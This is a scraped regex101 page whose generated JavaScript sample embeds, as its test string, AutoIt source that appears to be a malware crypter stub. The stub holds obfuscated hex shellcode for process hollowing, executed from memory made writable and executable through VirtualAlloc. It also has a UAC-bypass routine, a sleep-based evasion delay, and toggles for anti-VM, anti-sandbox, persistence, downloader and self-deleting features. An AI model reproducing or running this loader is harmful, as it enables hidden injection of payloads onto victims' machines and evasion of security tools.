Regular Expressions 101

Save & Share

  • Regex Version: ver. 5
  • Update Regex
    ctrl+⇧+s
  • Save new Regex
    ctrl+s
  • Add to Community Library

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

const regex = /$[a-zA-Z0-9_]+/gm; // Alternative syntax using RegExp constructor // const regex = new RegExp('$[a-zA-Z0-9_]+', 'gm') const str = `Execute("Opt(""TrayIconHide"", 1)") ;~ Call("CustomAntiVM") ;~ Call("CustomAntiSandbox") ;~ Call("CustomDelay") ;~ Call("CustomStartup") ;~ Call("CustomDownloader") ;~ Call("CustomUACBypass") Global \$ProcessId Global \$XWNFIUYHFDUH = Execute('%INJECTION%') Call("Hollowing",\$XWNFIUYHFDUH, "", GetResources()) ;~ Call("CustomMeltFile") ;~ Call("CustomPersistence") Func Hollowing(\$wPath, \$wArguments, \$lpFile) Local \$ojnkoeyrcwxlutoux = "0x558BEC8B4D088BC180390074064080380075FA2BC15DC20400558BEC56578B7D0833F657E8D7FFFFFF8B" Local \$kxghsiqvahwxnq = \$ojnkoeyrcwxlutoux & "C885C974200FBE07C1E60403F08BC625000000F0740BC1E81833F081E6FFFFFF0F474975E05F8BC65E5D" Local \$sdqpidmqtyxkecrfsp = \$kxghsiqvahwxnq & "C20400558BEC51515356578B7D0833F68B473C8B44387803C78B50208B581C03D78B482403DF8B401803" Local \$wtzfkbwb = \$sdqpidmqtyxkecrfsp & "CF8955FC894DF889450885C074198B04B203C750E882FFFFFF3B450C74148B55FC463B750872E733C05F" Local \$xonwcuofeidefqludikidnevpgau = \$wtzfkbwb & "5E5B8BE55DC208008B45F80FB704708B048303C7EBE9558BEC81ECF003000053565733FF897DB8648B35" Local \$qntpthgycxwcvzxicnjfif = \$xonwcuofeidefqludikidnevpgau & "300000008B760C8B760C8B368B368B76188975B8897DC8648B35300000008B760C8B760C8B368B761889" Local \$bbrnxjj = \$qntpthgycxwcvzxicnjfif & "75C88D45B4C78558FFFFFF793A3C07898520FFFFFF8BF78D45E8C7855CFFFFFF794A8A0B898524FFFFFF" Local \$shvtuoronlyjnrglhmeqvsbwvl = \$bbrnxjj & "8D45B0898528FFFFFF8D45A489852CFFFFFF8D45C0898530FFFFFF8D4598898534FFFFFF8D45D4898538" Local \$llryfjxokqaibkgtpblwvnuqjat = \$shvtuoronlyjnrglhmeqvsbwvl & "FFFFFF8D45A889853CFFFFFF8D45A0898540FFFFFF8D4590898544FFFFFF8D4594898548FFFFFF8D45C4" Local \$tnzfzyidgxogpmyh = \$llryfjxokqaibkgtpblwvnuqjat & "89854CFFFFFF8D45AC898550FFFFFF8D45CCC78560FFFFFFEE38830CC78564FFFFFF5764E101C78568FF" Local \$qlzltjbdzlyqxqbpfpdakkbj = \$tnzfzyidgxogpmyh & "FFFF18E4CA08C7856CFFFFFFE3CAD803C78570FFFFFF99B04806C78574FFFFFF93BA9403C78578FFFFFF" Local \$shawavvjwgeejpajlvgozrfp = \$qlzltjbdzlyqxqbpfpdakkbj & "E4C7B904C7857CFFFFFFE487B804C74580A92DD701C7458405D13D0BC745884427230FC7458CE86F180D" Local \$wzbzixxgjpsmjfddpp = \$shawavvjwgeejpajlvgozrfp & "898554FFFFFF8B45C883FE02FFB4B558FFFFFF0F4F45B850E842FEFFFF8B8CB520FFFFFF890185C00F84" Local \$urmwfppupodnjbbkzbuvayjx = \$wzbzixxgjpsmjfddpp & "910300004683FE0E7CD28BDF6A108D45D84350895DFCFF55E86A448D85DCFEFFFF50FF55E868CC020000" Local \$utwnzgscykxocatlkoiicwgrlzg = \$urmwfppupodnjbbkzbuvayjx & "8D8510FCFFFF50FF55E88B4D10C78510FCFFFF070001008B713C03F10FB74614897DF8897DBC8945D039" Local \$bjtoviobltcuiva = \$utwnzgscykxocatlkoiicwgrlzg & "BEA0000000741139BEA40000007409F6461601750333FF4733D2897DF433C08955EC6639110F94C03D4D" Local \$ozemhyijlmqavynfcazqtevbgoz = \$bjtoviobltcuiva & "5A00000F840E03000033C039160F94C03D504500000F84FC02000033C0663956040F94C03D4C0100000F" Local \$hritzmbigny = \$ozemhyijlmqavynfcazqtevbgoz & "84E80200008D45D8508D85DCFEFFFF5052526A04525252FF750CFF7508FF55A485C00F84AD0200008D85" Local \$ritzicfhsdx = \$hritzmbigny & "10FCFFFF50FF75DCFF55A085C00F84980200006A006A048D45BC508B85B4FCFFFF83C00850FF75D8FF55" Local \$ozujehkdcgtyardsqotqhsd = \$ritzicfhsdx & "9485C00F84780200008B45BC3B4634750F50FF75D8FF55B085C00F85610200006A406800300000FF7650" Local \$irxtwsvzvwjd = \$ozujehkdcgtyardsqotqhsd & "6A00FF55988BD885DB0F84450200006A406800300000FF7650FF7634FF75D8FF55C08945F885C0753B85" Local \$izqhuxcksyjsifkptzmq = \$irxtwsvzvwjd & "FF0F84230200006A406800300000FF765033FFC745EC0100000057FF75D8FF55C08945F885C075146800" Local \$wvlrhnnkhhxcrnutzgzsehlki = \$izqhuxcksyjsifkptzmq & "8000005753FF55C48B5DFCE9F501000033FFFF7654FF751053FF55B433C0897DF0663B4606732C8B7DD0" Local \$elrig = \$wvlrhnnkhhxcrnutzgzsehlki & "83C72C03FEFF77FC8B07034510508B47F803C350FF55B48B4DF08D7F280FB7460641894DF03BC87CDC8B" Local \$fwjshmnzzhkr = \$elrig & "7B3C8B45F803FB837DEC008947340F848A000000837DF4000F84800000008B97A00000008365F40003D3" Local \$dlbgbukrqnzulokbidbwcbbbsy = \$fwjshmnzzhkr & "83BFA400000000766B8B420433C983E808894DF0A9FEFFFFFF76450FB7444A086685C0742B25FF0F0000" Local \$ghfzgrimeajcdqgrpswogsclqwf = \$dlbgbukrqnzulokbidbwcbbbsy & "03028945EC8BC88B46342904198B4DF08B47340FB74C4A0881E1FF0F0000030A0104198B4DF08B420441" Local \$npcjancoclqgimzkks = \$ghfzgrimeajcdqgrpswogsclqwf & "83E808894DF0D1E83BC872BB8B4DF4034A04035204894DF43B8FA4000000729533FF57FF765053FF75F8" Local \$galpkljedrneujjluxcqj = \$npcjancoclqgimzkks & "FF75D8FF55D485C00F84FEFEFFFF8D459C506A02FF7654FF75F8FF75D8FF55CC85C00F84E4FEFFFF33C0" Local \$oabegzlochissjwuxeqavj = \$galpkljedrneujjluxcqj & "897DF4663B4606736C8B7DD083C73C03FE8B07A900000020741985C079046A40EB172500000040F7D81B" Local \$kbxqhwwr = \$oabegzlochissjwuxeqavj & "C083E01083C010EB1585C079056A0458EB0CA9000000406A00580F95C0408D4D9C5150FF77E48B47E803" Local \$bitjszjlemxpbjembznrx = \$kbxqhwwr & "45F850FF75D8FF55CC85C074128B4DF483C7280FB7460641894DF43BC8729E33FF68008000005753FF55" Local \$slpnfpagpsoslgayirw = \$bitjszjlemxpbjembznrx & "C485C00F845BFEFFFF576A048D45F8508B85B4FCFFFF83C00850FF75D8FF55D485C00F843CFEFFFF8B46" Local \$klzedfibwlphj = \$slpnfpagpsoslgayirw & "280345F88985C0FCFFFF8D8510FCFFFF50FF75DCFF559085C00F841BFEFFFFFF75DCFF55AC85C00F840D" Local \$etixewnk = \$klzedfibwlphj & "FEFFFF8B45E0EB1D8B5DFC33FF837DD800740757FF75D8FF55A883FB050F8677FCFFFF33C05F5E5B8BE5" Local \$N1 = \$etixewnk & "5DC20C00" Local \$lpShellcode = DllCall("kernel32", "ptr", "VirtualAlloc", "dword", 0, "dword", BinaryLen(\$N1), "dword", 0x3000, "dword", 0x40)[0] Local \$File_Struct = DllStructCreate("byte lpfile[" & StringLen(\$lpFile) & "]") BitAND(DllStructSetData(DllStructCreate("byte shellcode[" & BinaryLen(\$N1) & "]", \$lpShellcode), "shellcode", \$N1),DllStructSetData(\$File_Struct, "lpfile", \$lpFile)) \$ProcessId = DllCallAddress("dword", \$lpShellcode + "0xBE", "wstr", \$wPath, "wstr", \$wArguments, "ptr", DllStructGetPtr(\$File_Struct))[0] EndFunc ;~ %OPT% Func CustomUACBypass() Local \$ejifuhzuieh = Execute(BinaryToString("0x497341646d696e2829")) Local \$QSZUIEHZ = "WIN_10" Local \$ONUHBFE = "WIN_7" If Not \$ejifuhzuieh Then Local \$QSDJSI = @OSVersion If \$QSDJSI == \$QSZUIEHZ Then CustomWin10Elevation() ElseIf \$QSDJSI == \$ONUHBFE Then CustomWin7Elevation() EndIf EndIf EndFunc Func CDEL(\$SLTIME,\$SLEOO) For \$i = 0 To \$SLEOO DllCall("kernel32.dll", "none", "Sleep", "dword", \$SLTIME/ \$SLEOO) \$avar = 999 While \$avar == 999 \$avar = \$avar + 1 * \$avar - 1 ^ 405 + \$avar * \$avar \$avar = 11200 WEnd Next EndFunc`; // Reset `lastIndex` if this regex is defined globally // regex.lastIndex = 0; let m; while ((m = regex.exec(str)) !== null) { // This is necessary to avoid infinite loops with zero-width matches if (m.index === regex.lastIndex) { regex.lastIndex++; } // The result can be accessed through the `m`-variable. m.forEach((match, groupIndex) => { console.log(`Found match, group ${groupIndex}: ${match}`); }); }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions